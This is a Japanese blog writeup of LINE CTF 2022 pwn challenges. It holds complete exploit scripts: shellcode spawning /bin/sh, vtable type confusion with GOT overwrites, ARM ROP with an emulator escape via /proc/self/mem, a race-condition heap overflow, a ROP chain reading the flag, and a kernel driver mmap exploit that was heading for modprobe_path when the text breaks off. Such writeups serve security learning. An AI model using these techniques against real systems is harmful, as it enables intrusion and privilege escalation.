CTFするぞ

CTF以外のことも書くよ

LINE CTF 2022のWriteup

はじめに

超一流有名SNSブランドLINEの開催する第二回目のCTFです。 24時間CTFだったので参加してみました。 最初の方は一人寂しくマウスポチポチしてましたが、起床失敗君や海外旅行から返ってきたチームメンバーなど数名が参加してくれて得点ブーストしたので後半は真面目に解きました。 *1

LINE CTFは賞金対象じゃなくても上位チームは去年もwriteup提出義務があったのですが、今年もありました。 これに真面目に対応してwriteupを提出すると、隠れ賞品が貰えることが知られています。 今年も貰えるといいな〜(わくわく)

通常提出義務系のwriteupはわざわざブログに書かないのですが、今回は日本語writeupでもOKということでちゃんと書く気力が出たのでこっちに書きます。

[Pwn/Misc 100pts] ecrypt (105 solves)

Xionさん*2がsuでrootになれることを発見して解いてくれました。 PCが無い状況でもスマホから参加してくれるの、偉すぎる。*3

[Pwn 205pts] trust code (20 solves)

これwarmupなんですか?もっと顧客のニーズに応えてください。

プログラムとしては、秘密のkeyをロードして、ユーザーが入力したIVとデータをAES-CBCで復号した結果がTRUST_CODE_ONLY!という文字列から始まればだいたい任意のシェルコードを実行してくれます。 AESの鍵が分からないので当然通常これはできません。 上記のAESの復号に失敗すると、例外が発生してcatchされます。

Xionさんがすぐに例外で関数を抜ける際に、未初期化のShellcodeクラスのデストラクタが呼ばれてアドレスリークが起きることを発見してくれました。 しかし、例外が起きるとプログラムが終了してしまいます。

また、別の関数で少しスタックオーバーフローがあるのですが、stack canaryがあってPIEも有効なので特に悪用できません。 とはいえ存在する以上使うんだろうなーと思ってオーバーフローを起こしてみると、なんか例外周りのコードでSegmentation Faultが起こることが分かりました。 理由は、知りません。ソースコード付いてない問題は真面目に解析しない人なので。

オーバーフローしたデータがアドレスとして認識されているけれどもアドレスを持っていないので、partial overwriteしかないなぁと思って適当に2バイトくらいpartial overwriteしてみました。 すると、値によってはShellcodeのデストラクタが2回呼ばれて、2回目で鍵データが漏洩することがありました。 なぜ漏洩するのか?分かりません。

鍵が貰えたら任意のシェルコードが実行できます。syscall命令を使って欲しくないのか0x0Fと0x05が禁止されていますが、当然簡単に回避できるので終わります。

鍵リーク:

from ptrlib import *

# v0nVadznhxnv$nph

for i in range(100):
    #sock = Process("./trust_code")
    sock = Socket("nc 35.190.227.47 10009")

    sock.sendafter("iv> ", b"A"*0x18 + b'\x50\x56')
    sock.sendafter("code> ", "Hello")

    try:
        print(sock.recv(timeout=0.1))
        print(sock.recv(timeout=0.1))
        print(sock.recv(timeout=0.1))
        print(sock.recv(timeout=0.1))
    except TimeoutError:
        continue

シェルコード:

from ptrlib import *
from Crypto.Cipher import AES

def enc(data, iv):
    cipher = AES.new(secret, AES.MODE_CBC, iv)
    data += b'\x00' * (0x30 - len(data))
    return cipher.encrypt(data)

# v0nVadznhxnv$nph
secret = b'v0nVadznhxnv$nph'

#sock = Process("./trust_code")
sock = Socket("nc 35.190.227.47 10009")

iv = b"A"*0x10
sock.sendafter("iv> ", iv)

payload  = b"TRUST_CODE_ONLY!"
payload += nasm(f"""
lea rbp, [rax+X]
mov edx, 0x200
mov rsi, rax
xor edi, edi
xor eax, eax
not word [rbp]
X:
db 0xf0, 0xfa
""", bits=64)
assert b'\x0f' not in payload and b'\x05' not in payload

assert len(payload) < 0x30
sock.sendafter("code> ", enc(payload, iv))

sock.send(b"A" * 0x19 + nasm("""
xor edx, edx
xor esi, esi
call A
db "/bin/sh", 0
A:
pop rdi
mov eax, 59
syscall
""", bits=64))

sock.sh()

結局何をテーマにした問題なのかよく分かってないのでpwn初心者です。こんにちは。

kusanoさんのwriteupによるとunwindでリターンアドレスを見たあと、それとeh_frameの内容を使ってどこに戻るかを決めているらしいです。要するに呼び出し元からcatchしてる箇所に飛ぶってこと?例外の種類の判定とか呼び出し元の呼び出し元でcatchしてる場合とかは、コンパイラがeh_frameをいい感じに作ってるんだろうか。

[Pwn 267pts] call-of-fake (11 solves)

ソースコードが、付いとらん。

なんか文字列を9回入力した後にヒープオーバーフローが起こせます。 文字列はobjectString、文字列を管理しているやつがObjectManagerみたいなクラスになっていて、いずれも使われていない仮想メソッドを複数持っています。 ObjectManagerが9個のobjectStringポインタを配列に持っているのですが、そのうち先頭のstr[0]インスタンスに直接0x400バイトのデータを書き込めます。 どう考えても仮想関数テーブルを使ってRIPを制御するのですが、ヒープのアドレスを持ってない上bssセクションに特段データは置けないので関数ポインタは設定できません。 このような状況は割とreal-worldのexploitでも起きるのですが、こういう時は別のクラスの仮想関数テーブルを使うことでtype confusionを起こし、それ経由でAAWなどを獲得する方法が安定です。 事実、この問題でも非想定解を嫌ってかvtableを使う前にvtable中のメソッドが既存クラスのものかをご丁寧にチェックする謎コードが入っています。

ということで各仮想メソッドがどういう処理を実装しているかを見ます。

setのmemcpyが任意のアドレスから別のアドレスにデータをコピーするのに使えそうです。 コピーのサイズはrdxですが、これはaddTwiceTagメソッドを使えば機械語的に調整できることが分かりました。

ということでmemcpy(dest, src, size)みたいなprimitiveができたのですが、流石に一回じゃ足りないよなぁということで無限に呼び出せるようにします。 _startを再度呼び出したいのですが仮想メソッドチェックが邪魔でできません。 不正なメソッドを検知したらプログラムがexitを呼びます。

いつぞやのTSG LIVE CTFの想定解法と同じ手順で、exit@gotを呼び出しても意味の無い関数で置き換えればexitを通過して検知されてもプログラムを続行できます。 ということで、memcpy(exit@got, alarm@got, 8)を呼びました。

続いてアドレスリークがしたいので、いつぞやのSECCON Online予選の非想定解法と同じ手順で、setvbuf@gotputs@plt入れて、stdinをずらしてファイル構造体中のlibcアドレスをリークします。 とうことで、memcpy(setvbuf@got, puts@plt, 8)memcpy(stdin@bss, <0x90がある場所>, 1)を呼びました。

アドレスリークができたらstrlen@gotsystem関数のポインタを入れたいです。 しかしsystem関数のアドレスはメモリ上にありませんし、ヒープのアドレスも分かっていないです。 ということで、リークしたsystem関数のアドレスを1バイトずつELF中から引っ張ってきてmemcpyで1バイトずつ書き込みます。 (1バイトなら0〜255までどれが来てもELF中に存在するはずなので、そこからコピーできます。) 実際にはstrlenの下位3バイトを書き換えれば十分です。

from ptrlib import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
elf = ELF("./call-of-fake")
#sock = Process("./call-of-fake")
sock = Socket("nc 34.146.170.115 10001")

for i in range(9):
    sock.sendafter("str: ", str(i)*0x20)

gm = 0x0000000000407118

fv_start = 0x400018
fv_set = 0x406d68
fv_addTwiceTag = 0x405d50
fv_fire = 0x405d20

payload = b''
payload += flat([
    # memcpy(exit@got, alarm@got, 8)
    fv_addTwiceTag, # --> addTwiceTag
    elf.got("alarm"), # value (goes to rsi == src of set)
    0, 0, 0, 0,

    0, 0x41,
    fv_set, # --> set
    elf.got("exit"), # dest
    8, # size
    0, 0, 0,

    # memcpy(setvbuf@got, puts@got, 8)
    0, 0x41,
    fv_addTwiceTag, # --> fire
    elf.got("puts"), # value
    0, 0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    0, 0x41,
    fv_set, # --> set
    elf.got("setvbuf"), # dest
    8, # size
    0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    # memcpy(stdin, 0x40103f, 1) # put 0x90
    0, 0x41,
    fv_addTwiceTag,
    0x40103f, # value (0x90)
    0, 0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    0, 0x41,
    fv_set, # --> set
    elf.symbol("stdin"), # dest
    1, # size
    0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    0, 0x41,
    fv_start, # restart
    1, 2, 3, 4, 5,
], map=p64)
payload += p64(0x21) * ((0x400 - len(payload)) // 8)
sock.sendafter("primitive: ", payload)

libc_base = u64(sock.recvline()) - libc.symbol("_IO_2_1_stdin_") - 0x83
libc.set_base(libc_base)

# second stage
for i in range(9):
    sock.sendafter("str: ", str(i)*0x20)

target = p64(libc.symbol("system"))[:4]

payload = b''
payload += flat([
    # memcpy(strlen@got+0, X, 1)
    fv_addTwiceTag, # --> addTwiceTag
    next(elf.search(target[0:1])) + 0, # value
    0, 0, 0, 0,

    0, 0x41,
    fv_set, # --> set
    elf.got("strlen"), # dest
    1, # size
    0, 0, 0,

    # memcpy(strlen@got+1, X, 1)
    0, 0x41,
    fv_addTwiceTag, # --> fire
    next(elf.search(target[1:2])), # value
    0, 0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    0, 0x41,
    fv_set, # --> set
    elf.got("strlen") + 1, # dest
    1, # size
    0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    # memcpy(strlen@got+2, X, 1) # put 0x90
    0, 0x41,
    fv_addTwiceTag,
    next(elf.search(target[2:3])), # value
    0, 0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    0, 0x41,
    fv_set, # --> set
    elf.got("strlen") + 2, # dest
    1, # size
    0, 0, 0,

    0, 0x21,
    0xdeadbeef, 0xcafebabe,

    # restart
    0, 0x41,
    fv_start, # restart
    1, 2, 3, 4, 5,
], map=p64)
sock.sendafter("primitive: ", payload)

# win!
sock.sendafter("str: ", "/bin/sh\0")

sock.sh()

これは「vtable overwriteでヒープのアドレスが分からない時に別のクラスのvtableに差し替えてtype confusionに持ち込む」というマイナーだけど便利な攻撃手法を紹介するための問題という認識で良いのかな?

[Pwn 290pts] simbox (9 solves)

なんかgdbにsimってフォルダがあって、その中にuserland qemuみたいに別アーキテクチャのプログラムをエミュレートできるバイナリがあるらしいです。 この問題ではそれを使って脆弱なARMプログラムが動いているのですが、エミュレータ自体に次のパッチが当たっています。

diff --git a/sim/arm/armos.c b/sim/arm/armos.c
index a3713a5c334..3898e391e41 100644
--- a/sim/arm/armos.c
+++ b/sim/arm/armos.c
@@ -246,7 +246,15 @@ ReadFileName (ARMul_State * state, char *buf, ARMword src, size_t n)
 
   while (n--)
     if ((*p++ = ARMul_SafeReadByte (state, src++)) == '\0')
+    {
+      if (strstr(buf, "flag") != 0 || strstr(buf, "simbox") != 0)
+      {
+        OSptr->ErrorNo = cb_host_to_target_errno (sim_callback, ENAMETOOLONG);
+        state->Reg[0] = -1;
+        return -1;
+      }
       return 0;
+    }
   OSptr->ErrorNo = cb_host_to_target_errno (sim_callback, ENAMETOOLONG);
   state->Reg[0] = -1;
   return -1;

どうやらARMプログラム側をpwnしても外のフラグは読めないらしく、エミュレータを脱出してやるsandbox escape要素も含まれているみたいです。

何はともあれARM側をpwnするのですが、ソースコードが付いとらん。 (まあこれは結構小さいプログラムなので良いです。)

URLをパースしてGETパラメータも配列に記録できるのですが、そこで範囲外チェックが無いので配列に無限に値を書き込め、Stack Buffer Overflowが発生します。 この手のkasuエミュレータはNXやASLRを付けないのでスタックにシェルコードをブチ込んで実行できれば良いのですが、gdbのarm-runのデバッグ方法が分かりません。 分からないものは仕方ないのでデバッグなしてROP書きまーす。

慢心するptr-yoyudai

NXは無いだろうという読みで、read(0, shellcode, XXX)を呼んでシェルコードを書き込むstagerをROPで実現することを目標にします。 libc_csu_initのようなものは無かったので、r0からr2レジスタを変更するgadgetを探すと、r0とr1については次のgadgetが見つかりました。

pop {r0, pc}; --> r0

pop {r4, r5, pc};
mov r1, r5; pop {r4, r5, pc}; --> r1

わい。

r2を設定するgadgetは見つからなかったのでBOFでRIPを取る前のコードを見ると、最後にr2が設定されるのはGETパラメータを一覧表示する際のカウンタとして使われていました。 なので、GETパラメータをたくさん入れておけばまぁまぁの量のデータがreadできそうです。 レジスタを設定した後にreadを呼びたいのですが問題が起きます。 ARMの場合call命令のようなものはないので、blx命令などでreadを呼ぶ必要があります。 しかし、blx readの箇所を使ってもread終了後にそのblxの後ろに戻るだけでROP chainを継続できません。 また、バイナリが小さいためかblx レジスタのようなgadgetも存在しませんでした。

悲しみに暮れていたのですが、read関数の先頭のlrとかpushしている箇所を飛ばせばいいじゃんになって解決します。 ここでspも保存されており、read終了時にスタックからspがpopされるのですが、スタックポインタが分からないのでダメじゃんとなったのですが、適当な値に設定してもなんか動いてくれました。(は?) たぶんpop {..., sp, pc}ってなってる時は、その時点のスタックからspもpcも取り出されるんですね。 (しかし不思議なこととしてmain関数を再度呼んでも正しく動いた。spが0でも動いたが、spが0x1000とか特定の値では動かなかった。ARM分からん。)

read直後のpcをshellcodeに設定できるのでシェルコード動かしたい放題です。 先に説明したようにこのstagerではreadのサイズを設定できていないので、実際にシェルコード本体として入れられるサイズに限りがあります。 ということで、もう一回シェルコードの中からreadを呼んでシェルコード本体を読みたいと思いました。 しかし、ARM初心者なのでbとかbxとかblxとかblとかがよく分からず、blx r0のようにread関数を呼んでもクラッシュしてしまいました。 この辺マジで意味分からんくて沼りましたが、sp壊してるのがダメなのかなーと思い断念。(でもmain関数は動くしmain関数から呼ばれているreadも動いている謎。)

慢心しすぎた雑魚の末路

おにぎりを食べていると*4、「mainのreadが動いているならswi呼べばいんじゃね?」になります。 何はともあれ「swi #0」してみると「invalid swi」みたいなエラーが出たのでgdbのコードを調べると、gdbエミュレータは独自のシステムコール番号を持っていることが分かりました。 そこにread, write, seek, open等が用意されていたので、これで万事シェルコード読み込みなどが解決します。

最後にsandbox escapeですが、これは冒頭のパッチを見た瞬間に方針は立っていて、いつぞやのHITCONで解いたUser Mode Linuxのescapeと同じく、/proc/self/mem経由でgdb側本体を破壊すれば良さそうです。 実際にやってみると特に詰まることなくシェルが取れました。

from ptrlib import *

shellcode = assemble("""
// read(0, 0x26000, 0x20)
mov r2, #0x20
mov r1, #0x26000
mov r0, #0
swi #0x6a

// open(path, 2)
mov r1, #2
mov r0, #0x26000
swi #0x66
mov r9, r0
cmp r0, #0
blt A

// seek(fd, 0x40CFA3, 0)
mov r1, #0x40
mov r1, r1, LSL #8
add r1, r1, #0xCF
mov r1, r1, LSL #8
add r1, r1, #0xA3
mov r0, r9
swi #0x6b
mov r1, #0x1

// read(0, buf, 0x100)
mov r2, #0x100
mov r1, #0x26000
mov r0, #0
swi #0x6a
cmp r0, #0
blt A

// write(fd, buf, 0x100)
mov r2, #0x100
mov r1, #0x26000
mov r0, r9
swi #0x69
cmp r0, #0
blt A

swi #0x3
X:
b X

A:
swi #0x1
""", arch='arm')

elf = ELF("./simbox")
#sock = Process(["./arm-run", "./simbox"])
sock = Socket("nc 35.243.120.147 10007")

addr_main = elf.symbol("main")
addr_read = 0x10334
addr_sc = (elf.section(".bss") + 0x800) & 0xfffff000
rop_pop_r0_pc = next(elf.gadget("pop {r0, pc}"))
rop_pop_r4_pc = next(elf.gadget("pop {r4, pc}"))
rop_pop_r4_r5_r6_r7_pc = next(elf.gadget("pop {r4, r5, r6, r7, pc}"))
rop_pop_r4_r5_pc = next(elf.gadget("pop {r4, r5, pc}"))
rop_mov_r1_r5_pop_r4_r5_pc = next(elf.gadget("mov r1, r5; pop {r4, r5, pc}"))
rop_svc_123456_mov_r4_r0_mov_r0_r4_pop_r4_r5_pc = next(
    elf.gadget("svc #0x123456; mov r4, r0; mov r0, r4; pop {r4, r5, pc}")
)

payload  = [0 for i in range(71)]
payload += [1, 0, 79] # c, splitter, i
payload += [
    # r0 = 0
    rop_pop_r0_pc, 0xdead,
    0,
    # r1 = data
    rop_pop_r4_r5_pc,
    0, addr_sc,
    rop_mov_r1_r5_pop_r4_r5_pc,
    4, 5,

    addr_read,
    4, 5, 11, 0x7ffffff0,

    addr_sc ,
]
payload += [
    0 for i in range(0xb0)
]

url = "http:///?"
for v in payload:
    url += f"list={v}"
    url += "&"
print(f"len(url) = 0x{len(url):x}")
assert len(url) < 0x800

sock.sendlineafter("url> \n", url)
for v in payload:
    sock.recvline()

stage1 = assemble("""
// read(0, 0x25000, 0x1000)
mov r2, #0x800
mov r1, #0x25000
mov r0, #0
swi #0x6a

mov r1, #0x25000
bx r1
""", arch='arm')
print(stage1.hex())
print(len(stage1))
sock.send(stage1)

time.sleep(0.1)
sock.send(shellcode)

time.sleep(0.1)
sock.send("/proc/self/mem\0")

time.sleep(0.1)
sock.send(nasm("""
xor edx, edx
xor esi, esi
call A
db "/bin/sh", 0
A:
pop rdi
mov eax, 59
syscall
""", bits=64))

sock.sh()

ところでちょうどptrlibにARMのアセンブラが追加されていたので便利でした。 この問題は面白かったです。

[Pwn 305pts] mail (8 solves)

ソースコードが付いています。やったー! でも量が多いです。いやだー!

プログラムはshared memoryを使って通信するメールソフト(笑)です。 shared memoryを使って通信する問題は90%くらいの確率で、書き込み側と読み込み側で整合性が取れなくなることでバグる脆弱性があります。 なぜ整合性が取れなくなるかは問題次第ですが、この問題ではusleepが多様されているので間違いなくrace conditionだろうなーと思ったらrace conditionでした。

とはいえ最初から気づいた訳ではなく、ソースコードを読みたくないので、まずバグクラスを特定するためにfuzzerを書きました。 するとクラッシュはしなかったものの、sendmsgが連続するときにプログラムがハングする可能性が高いことが分かりました。 sendmsgを処理するコードを見に行くと、脆弱性は一目瞭然でした。

        bzero(to, ACCOUNT_ID_MAXLEN + 1);
        memcpy(to, memory->accountId, memory->accountIdSize);

        size = countAccount(to);
        if (!size)
        {
            error();
            return;
        }

        memory->isSendMessageSendedDone = true; // [1]

        if (memory->messageSize > MESSAGE_MAXLEN) [2]
        {
            error();
            return;
        }

        usleep(100); // [3]
        message = new char[MESSAGE_MAXLEN + 1];
        if (!message)
        {
            error();
            return;
        }

        mmsg = new struct mail_message;
        if (!mmsg)
        {
            error();
            return;
        }

        mmsg->setMessage(message);
        mmsg->setMessageSize(memory->messageSize);
        mmsg->setTo(to);

        bzero(message, MESSAGE_MAXLEN + 1);
        memcpy(message, memory->message, memory->messageSize); // [4]

[2]でメッセージサイズがチェックされた後、[4]でコピーが発生します。 しかし[1]で処理完了をクライアントに通知しているので、クライアント側はプログラムが続行して場合によっては共有メモリへの書き込みができます。 そして[3]をご覧ください。 usleep君がraceしてくださいと必死に訴えているではありませんか。 usleep君の魂の叫びをキャッチしたので、さっそくraceのコードを書きます。

    create("legoshi")
    login("legoshi")

    sock.send("2\nA\nlegoshi\n2\n" + "A"*0x500 + "\n")
    sock.recvuntil("whom =")
    sock.recvuntil("whom =")
    time.sleep(0.01)
    sock.sendline("A")

だいたいこんな感じで高い確率でヒープオーバーフローが発生してクラッシュすることが分かりました。 1バイトのデータ"A"を書き込んだ後に"A"*0x500を書き込もうとして、このときサーバーはmemcpyを走らせる前に共有メモリ上のサイズ情報を書き換えるので大変なことになります。

あとはヒープオーバーフローをどう悪用するかですが、ソースコードgrepすると仮想メソッドが見つかります。

struct mail_message
{
    mail_message() : message(NULL), messageSize(0), to(NULL) {}
    virtual ~mail_message()
    {
        delete message;
        delete to;

        message = NULL;
        messageSize = 0;
        to = NULL;
    }
...

mail_messageデストラクタ君が俺を破壊してくれと言わんばかりに大声を上げているのが、皆さんには伝わってくるでしょうか。

このクラスはおいしくて、仮想関数テーブルを持つだけでなくメール本文の文字列ポインタも持っています。 このポインタを操作することで、メールの本文からアドレスリークできるAARが作れます。

ということでAAR primitiveを作ってプロセス→libc→スタック→ヒープ→共有メモリの順にアドレスを辿り、最後に仮想関数テーブルを共有メモリ中の操作可能な領域に指させれば完了です。 実際にはローカルだとCPUが良いせいかraceがよく失敗したので、デバッグ用にlibc→共有メモリと飛ばしてズルしました。 (もちろんリモートでほぼ100%動くことを確認した。)

仮想メソッドですので、RIPを取ったらお好きなCOP gadgetでCOP chainを実行しましょう。

from ptrlib import *

def create(name):
    assert is_cin_safe(name)
    sock.sendlineafter("off\n", "0")
    sock.sendlineafter("id =\n", name)
def login(name):
    assert is_cin_safe(name)
    sock.sendlineafter("off\n", "1")
    sock.sendlineafter("id =\n", name)
def sendmsg(msg, who):
    assert is_cin_safe(msg)
    assert is_cin_safe(who)
    sock.sendlineafter("off\n", "2")
    sock.sendlineafter("message =\n", msg)
    sock.sendlineafter("whom =\n", who)
def inbox(index):
    sock.sendlineafter("off\n", "3")
    sock.sendlineafter("index =\n", str(index))
    if b'Inbox message' in sock.recvline():
        return sock.recvline()
def delete(index):
    sock.sendlineafter("off\n", "4")
    sock.sendlineafter("index =\n", str(index))
def logout():
    sock.sendlineafter("off\n", "5")

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
elf = ELF("./mail")

def overwrite(payload):
    logout()
    create("legoshi")
    login("legoshi")
    delete(0)

    sendmsg(payload, "legoshi")
    time.sleep(0.1)
    inbox(0)

    sock.send("2\nA\nlegoshi\n2\n" + "A"*0x430 + "\n")
    sock.recvuntil("whom =")
    sock.recvuntil("whom =")
    time.sleep(0.01)
    sock.sendline("A")

    if inbox(1) == b'A':
        logger.warning("Bad luck")
        sock.close()
        exit()

    logout()
    create("a")
    login("a")

#sock = Process("./mail")
#sock = Socket("localhost", 9999)
sock = Socket("nc 34.146.156.91 10004")

# leak libc
payload  = flat([
    elf.got("alarm") - 8, # vtable
    elf.got("read"), # message
    0x10,       # size
    next(elf.search("a\0"))  # to
], map=p64)
overwrite(payload)
libc_base = u64(inbox(0)) - libc.symbol("read")
libc.set_base(libc_base)
delete(0)

# leak stack
payload  = flat([
    elf.got("alarm") - 8, # vtable
    libc.symbol("environ"), # message
    0x10,       # size
    next(elf.search("a\0"))  # to
], map=p64)
overwrite(payload)
addr_stack = u64(inbox(0)) - 0x138
logger.info("stack = " + hex(addr_stack))
delete(0)

# leak heap
payload  = flat([
    elf.got("alarm") - 8, # vtable
    addr_stack, # message
    0x10,       # size
    next(elf.search("a\0"))  # to
], map=p64)
overwrite(payload)
addr_heap = u64(inbox(0)) + 8
logger.info("heap = " + hex(addr_heap))
delete(0)

# leak shm
payload  = flat([
    elf.got("alarm") - 8, # vtable
    addr_heap + 1, # message
    0x10,       # size
    next(elf.search("a\0"))  # to
], map=p64)
overwrite(payload)
addr_shm = u64(inbox(0)) << 8
logger.info("shm = " + hex(addr_shm))
delete(0)

# pwn
one_gadget = libc_base + 0xe3b31
rop_mov_rdx_prdiP8h_mov_prsp_rax_call_prdxP20h = libc_base + 0x001518b0
# pwn
payload  = flat([
    addr_shm + 0x40, # vtable
    addr_shm + 0x440, # message
    0, # size
    next(elf.search("a\0")), # to
], map=p64)
overwrite(payload)
payload = p64(0) + p64(rop_mov_rdx_prdiP8h_mov_prsp_rax_call_prdxP20h)
sendmsg(p64(one_gadget) * 4, "a")
inbox(1)
sendmsg(payload, "legoshi")
delete(0)

sock.interactive()

ソースコードも付いており、かつ自然な問題設定でユーザーランドraceを実現した良問でした。

[Pwn 322pts] IPC handler (7 solves)

ソースコードが付いてないよぉぴえんぴえん

protobufを使っているのですが、protobufの構造すら教えてくれません。 エラーメッセージとguessを使ってprotobuf構造当てゲームをしていたら、x0r19x91さんが「バイナリの中に構造定義されてるで」と教えてくれて一瞬で解決しました。 腹筋背筋rev筋💪💪💪

戻してみたらこんな感じでした。

syntax = "proto2";

enum valueType {
  INT64 = 36863;
  UINT64 = 40960;
  STRING = 16384;
  DATA = 20480;
}

message dict_data {
  required string key = 1;
  required valueType value_type = 2;
  required bytes value = 3;
}

message dictionary {
  required string header = 1;
  repeated dict_data data = 2;
}

message protocol {
  required uint64 conn_id = 1;
  repeated dictionary dict = 2;
}

これで通信できるようになったので脆弱性を探そうと思ったのですが、適当にデータを送ったらすぐクラッシュしました。

問題はscalar1, scalar2というキーでデータを送るとき、INT64やUINT64型なら正しく解釈できるのですが、STRINGやDATAの時はvtableにあたる箇所がデータポインタになっており、送ったデータをvtableとして呼び出してしまうtype confusionがあります。 RIPが取れたので終わりかと思ったのですが、ここからかなり悩みます。

だいたいRIPが取れたときはone gadgetかsystemかCOPかstack pivotをするのですが、まずASLRがあるのでone gadget/systemは無理です。 アドレスリークが必要なのでデータを出力したいのですが、sendでデータを送る場所にジャンプしても良い感じに未初期化変数をリークできなさそうでした。 (このあたりのROP chainを組んでみて無理と判断するまでに2時間くらい使ってしまった。)

COPやstack pivotのgadgetがなくて詰まっており、再度IDAの機械語を眺めていたら、memcpy相当のデータ移動があることを思い出しました。 そういえばなんでprocess_nameをローカルバッファにmemcpyしてるんだろ、と思った瞬間に解法が閃きました。

まったく分からんからの完全理解の図

これは当然ROP chainを書き込む場所ですね。 add rsp gadgetを使えばROPに持ち込めそうです。 いつぞやのTSG CTFで出たCoffeeもそうですが、このタイプのstack pivot使う機会がかなり少ないので忘れがち。

from ptrlib import *
import output.test_pb2 as pb

#print(pb.DESCRIPTOR.serialized_pb.hex())

#HOST = "localhost"
HOST = "34.146.163.198"
elf = ELF("./ipc_handler")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

rop_pop_rdi = 0x00415983
rop_add_rsp_2d8h_pop_rbx_rbp = 0x00406b1d
rop_csu_popper = 0x41597a
rop_csu_caller = 0x415960

name = flat([
    rop_csu_popper,
    0, 1, 4, elf.got("puts"), 8, elf.got("send"),
    rop_csu_caller, 0xdead,
    0, 1, 4, elf.section(".bss") + 0x800, 0x80, elf.got("read"),
    rop_csu_caller, 0xdead,
    0, 1, elf.section(".bss") + 0x808, 0, 0, elf.section(".bss") + 0x800,
    rop_csu_caller,
], map=p64)
print(hex(len(name)))

payload = p64(rop_add_rsp_2d8h_pop_rbx_rbp)

packet = pb.protocol()
packet.conn_id = 1
a = pb.dict_data(key="process_name",
                 value_type=pb.valueType.DATA,
                 value=name)
b = pb.dict_data(key="scalar1",
                 value_type=pb.valueType.DATA,
                 value=payload)
c = pb.dict_data(key="scalar2",
                 value_type=pb.valueType.DATA,
                 value=payload)
obj = pb.dictionary()
obj.header = "XPC!"
obj.data.extend([b, c, a])
packet.dict.extend([obj])

sock = Socket(HOST, 10003)

sock.send(packet.SerializeToString())
libc_base = u64(sock.recv(8)) - libc.symbol("puts")
libc.set_base(libc_base)

sock.send(p64(libc.symbol("system")) + b"cat /home/ipc_handler/flag >&4\0")

sock.sh()

[Pwn 322pts] ecrypt fixed (7 solves)

ソースコードが付いてないよぉぴえんぱおん

カーネルドライバでopen/read/write/close/ioctl/mmapが定義されています。 readとwriteを使ったらkernel panicになったので、ioctlを先に呼び出すのかなと思ってopen, ioctlの処理を読みます。 openではfile構造体のprivate_dataに次のような構造体を確保していました。

typedef struct {
  char buf[0x1000];
  void *p1;
  void *p2;
  crypto_sync_skcipher *cipher;
} PrivateData; // size=0x1018

crypto_sync_skcipherというのはカーネル空間でAES-CBCを計算するための某をopenで作っていたものです。

ioctlの方ではデータを設定でき、crypto_sync_skcipher構造体と動的デバッグで見えた値を比べると、p1, p2はそれぞれkey, ivであることが分かりました。 つまり、ioctlではAESの鍵、IVを設定・削除できます。 特に脆弱性は見当たりません。

この状態でread/writeを呼んでもクラッシュしたので、今度はmmapを読みます。 調べたところカーネルドライバがmmapの実装をするときは物理アドレス(あるいはカーネル空間のアドレス?)との対応付けなどを独自実装する必要があるらしいです。 まさに脆弱性の温床という感じで、実際この問題にもバグがありました。 ソースコードが付いていないのでちゃんと読んでませんが、このドライバのmmapはfile構造体のprivate_dataのbufを割り当てます。 private_dataのbufは0x1000バイトしかないので、mmap時に確保サイズのチェックもされています。

今回のドライバは、mmap時にはハンドラの設定だけをして実際にメモリ割り当てはしません。 実際にユーザー空間からメモリアクセスがあったときに、map_pagesに設定されたvoperという関数でprivate_dataを割り当てます。 ここでも当然サイズチェックがあるのですが、いろいろ試すと次のようなコードでサイズを0x2000にできました。

  u8 *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
               MAP_SHARED, fd, 0);
  p = mremap(p, 0x1000, 0x2000, 0, NULL);

他にもmmap時のoffsetを0x1000にしても範囲外参照できたらしいです。

これでkeyとiv、そしてcrypto_sync_skcipherのアドレスをユーザーランドから読み書きできる状態になりました。 mmap怖いピヨねぇ・・・

ここからどうするかですが、keyのサイズが0x20なのでseq_operationsをsprayするのが早そうかと思いました。 ioctlで鍵を設定したあとにseq_operationsをsprayすると周辺に確保されるはずなので、keyのポインタを0x20ずらします。 この状態でioctlを使って鍵を更新すると、sprayしたseq_operationsのどれかが書き換えられるのでRIPが取れます。 しかし、そんなことはしなくてもkeyのポインタそのものを書き換えればAAWが実現できるので、modprobe_pathをいじる方が楽そうです。

ということでkbase leakが必要なのですが、これにはIVを使います。 IVを例えばkey+0x20に向けると、seq_operations中の関数ポインタがIVとして暗号化・復号されます。 そこで、最初はIVをkey(=既知データ)に向けて復号、次にIVをkey+1(=既知データ+ポインタ1バイト)に向けて復号、を繰り返すことで、CBCモードなので復号結果から鍵を1バイトずつ特定できます。

アドレスが分かったらmodprobe_pathを書き換えましょう。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#define ofs_single_start 0x20afc0
#define addr_modprobe (kbase + 0x1851220 - 0x200000)
unsigned long kbase;

#define UPDATE_KEY 0x3003003
#define UPDATE_IV  0x4004004
#define REMOVE_KEY 0x5005005
#define REMOVE_IV  0x6006006

typedef unsigned char  u8;
typedef unsigned short u16;
typedef unsigned int   u32;
typedef unsigned long  u64;

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

void hexdump(const u8 *data, size_t size) {
  for (size_t i = 0; i < size; i += 16) {
    printf("0x%04lx: 0x%016lx 0x%016lx | ",
           i, *(u64*)&data[i], *(u64*)&data[i+8]);
    for (int j = 0; j < 16; j++) {
      printf("%02x ", data[i+j]);
    }
    putchar('\n');
  }
}

typedef struct {
  u8 key[0x20];
  u8 iv[0x10];
} req_t;


int fd;

int main() {
  req_t r = {};

  fd = open("/dev/ecrypt", O_RDWR);
  if (fd == -1) fatal("/dev/ecrypt");

  /* Allocate key and iv */
  memset(r.key, 'A', 0x20);
  memset(r.iv, 'B', 0x10);
  ioctl(fd, UPDATE_KEY, &r);
  ioctl(fd, UPDATE_IV, &r);

  /* Map memory */
  u8 *p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
